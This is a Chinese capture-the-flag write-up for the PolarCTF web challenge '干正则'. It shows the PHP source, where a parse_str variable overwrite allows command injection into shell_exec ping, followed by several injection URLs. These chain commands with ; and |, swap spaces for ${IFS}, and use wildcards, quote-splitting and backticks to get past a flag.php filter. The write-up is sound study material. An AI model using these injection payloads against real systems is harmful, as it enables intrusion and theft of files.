【PolarCTF】干正则

复制代码
<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

使用;来拼接命令+${IFS}代替空格+使用通配符绕过

复制代码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;ls

可以看到出现flag.php

那么我们可以使用${IFS}来代替空格,使用通配符来匹配flag.php

复制代码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;cat${IFS}flag.*

使用|拼接命令

复制代码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=;cat${IFS}flag.*

使用''来分割,绕过关键字过滤

复制代码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=|cat%20fla''g.php

cat与``执行命令结合,读取全部文件的源码

复制代码
http://306ce0ee-5ac9-46f3-ba31-994c0fadffb5.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=|cat%20`ls`
相关推荐
Chockmans2 小时前
春秋云境CVE-2021-3019
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2021-3019
汤愈韬16 小时前
三种常用 NAT 的经典案例
网络协议·网络安全·security
汤愈韬17 小时前
NAT Server 与目的Nat
网络·网络协议·网络安全·security
其实防守也摸鱼18 小时前
CTF密码学综合教学指南--第三章
开发语言·网络·python·安全·网络安全·密码学
其实防守也摸鱼18 小时前
CTF密码学综合教学指南--第四章
网络·笔记·安全·网络安全·密码学·ctf
Chockmans1 天前
春秋云境CVE-2017-3506
安全·web安全·网络安全·系统安全·安全威胁分析·春秋云境·cve-2017-3506
ybdesire1 天前
间接提示词注入真实样例鉴赏
网络安全·语言模型·漏洞·漏洞分析
vortex52 天前
python 库劫持:原理、利用与防御
python·网络安全·提权
菩提小狗2 天前
每日安全情报报告 · 2026-05-01
网络安全·漏洞·cve·安全情报·每日安全